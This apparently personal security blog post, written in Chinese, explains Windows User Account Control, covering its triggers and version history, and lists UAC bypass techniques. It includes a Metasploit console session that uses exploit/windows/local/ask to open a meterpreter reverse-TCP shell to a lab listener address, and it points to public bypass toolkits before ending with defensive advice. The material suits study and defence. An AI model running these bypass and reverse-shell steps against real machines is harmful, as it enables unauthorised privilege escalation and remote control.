Persistence: Windows UAC bypass and attack methods

UAC简单介绍

UAC(User Account Control),作为Windows系统中的一种安全机制,其主要目的是为了保证应用程序和任务始终在非管理员账户的安全上下文中运行,除非系统做了管理员级别的访问权限(输入管理员账号密码或者手动授权),否则一般是不允许未经授权的应用程序自动进行安装。

image-20241126222354535

主要登录过程:

  • 如果资源拥有了ACL(Access Control List),则这个列表决定了当前这个资源能被哪种权限的用户进行访问
  • 开启UAC之后,如果用户是标准用户,则会给Windows分配一个Access Token
  • 以管理员登陆的话,会生成两种令牌,一种是Full Access Token,一种是User Token(标准用户令牌)
    • 标准用户令牌,会删除管理Windows特权和SID,只用于访问特定的用户信息,用于执行显示桌面explorer.exe

触发条件

UAC需要授权的动作包括:

  • 以管理员身份运行程序
  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 配置来宾(Guest)账户(Windows 7和8.1)
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 修改系统盘根目录、Program Files(x86和x64)目录或Windows目录
  • 查看其他用户文件夹
  • 配置文件共享或流媒体
  • 配置家长控制面板
  • 运行Microsoft Management Console控制台和以.msc为后缀名程序(部分.mmc程序除外)
  • 运行系统还原程序
  • 运行磁盘碎片整理程序
  • 运行注册表编辑器或修改注册表
  • 安装或卸载显示语言(Windows 7)
  • 运行Windows评估程序
  • 配置Windows电源程序,
  • 配置Windows功能
  • 运行日期和时间控制台
  • 配置轻松访问
  • 激活、修改产品密钥

历史版本控制

Windows Vista

用户账户控制于Windows Vista被首次推广。此时的用户账户控制不能调整等级,但可以被关闭。其严格程度相当于Windows 7的“第一级”,即对所有改变系统设置的行为进行提醒。

Windows 7

Windows 7用户允许可根据自身需求调整UAC的安全等级。系统为用户划定了4个不同的安全等级。

用户在选择较低级别的安全等级,UAC控制台会提醒用户该等级为“不推荐”等级。

  • 第一级(最高等级):相当于Windows Vista中的UAC,即对所有改变系统设置的行为进行提醒
  • 第二级(默认):只有当程序试图改变系统设置时才会弹出UAC提示,用户改变系统设置时不会弹出提示
  • 第三级:与第二级基本相同,但不使用安全桌面
  • 第四级:从不提示(相当于关闭UAC)
Windows 8 及 8.1
  • 改变以往的UAC界面,针对不同情况反白颜色以警告用户。
Windows 10
  • 延用Windows 8和 8.1操作系统的UAC界面布局,并添加Modern UI 外观。
  • 变更UAC图标
  • 支持Windows Hello
Windows 11
  • 将桌面背景亮度调暗,屏幕中央出现界面
  • 沿用Windows 10新版的窗口设计,窗口颜色自浅色主题与深色主题而有所差距
  • 支持Windows Hello

有关更多介绍,请查看微软官方文档

https://learn.microsoft.com/zh-cn/windows/security/application-security/application-control/user-account-control/how-it-works

主要提权思路

  • DLL劫持(难度高,场景利用有限制)
  • 系统白名单文件结合注册表
  • COM劫持绕过
  • 注入进程(特权 bypass UAC)
  • 利用现成的洞

对现有的进程进行分析

使用ProcessExplorer https://download.sysinternals.com/files/ProcessExplorer.zip

image-20241126223729618

注意

如果我们以管理员权限运行一个应用程序,则会弹出 consent.exe 这个进程

这里需要介绍一个网站,https://www.win7dll.info/appinfo_dll.html,这个可以看UAC主要实现的文件appinfo.dll的string

后续的原理省略,这里就逆向UAC了

UAC Bypass

DLL劫持(难度高,场景利用有限制)

DLL(Dynamic Link Library)文件为动态链接库文件,作为程序编译链接阶段会被使用的文件。

主要查看这边文章:https://cloud.tencent.com/developer/article/1808275,我复现也是照着这个做的,所以没啥创新点就不写了。

MSF绕过UAC

实验环境:

OS 名称: Microsoft Windows 7 企业版
OS 版本: 6.1.7601 Service Pack 1 Build 7601
OS 制造商: Microsoft Corporation

ask模块绕过

image-20241130193448802

尝试getsystem,发现失败,background放到后台,使用exploit/windows/local/ask模块进行攻击(实战情况下需要用户手动确认)

1
2
3
4
5
6
7
8
9
10
11
12
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > use exploit/windows/local/ask
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ask) > set filename test.exe
filename => test.exe
msf6 exploit(windows/local/ask) > set session 2
session => 2
msf6 exploit(windows/local/ask) > set LHOST 10.41.188.1
LHOST => 10.41.188.1
msf6 exploit(windows/local/ask) > set LPORT 12345
LPORT => 12345
msf6 exploit(windows/local/ask) > exploit

image-20241130193552917

目标机子会返回

image-20241130193640330

之后会重新建立一个绘画,然后就绕过成功了

image-20241130193716600

bypassuac模块绕过

同样放到后台,然后使用exploit/windows/local/bypassuac进行绕过,一样的配方,一样的操作。

image-20241130194120228

其他

这仓库里 https://github.com/hfiref0x/UACME 有几十种bypassuac的方法,还有这个工具也可以方便我们快速bypass,https://github.com/Adminisme/ByPassUACTools

具体防御方法

在企业网络环境中,防止绕过UAC的最好方法是不让内网机器的使用者拥有本地管理员权限,从而降低系统遭受攻击的可能性。

在家庭网络环境中,建议使用非管理员权限进行日常办公与娱乐等活动。使用本地管理员权限登录的用户,将UAC设置为“始终通知”或者删除该用户的本地管理员权限。- from 铭说 | 浅析UAC原理及绕过提权

Reference

Author

IceCliffs

Posted on

2022-10-11

Updated on

2025-01-05

Licensed under

Comments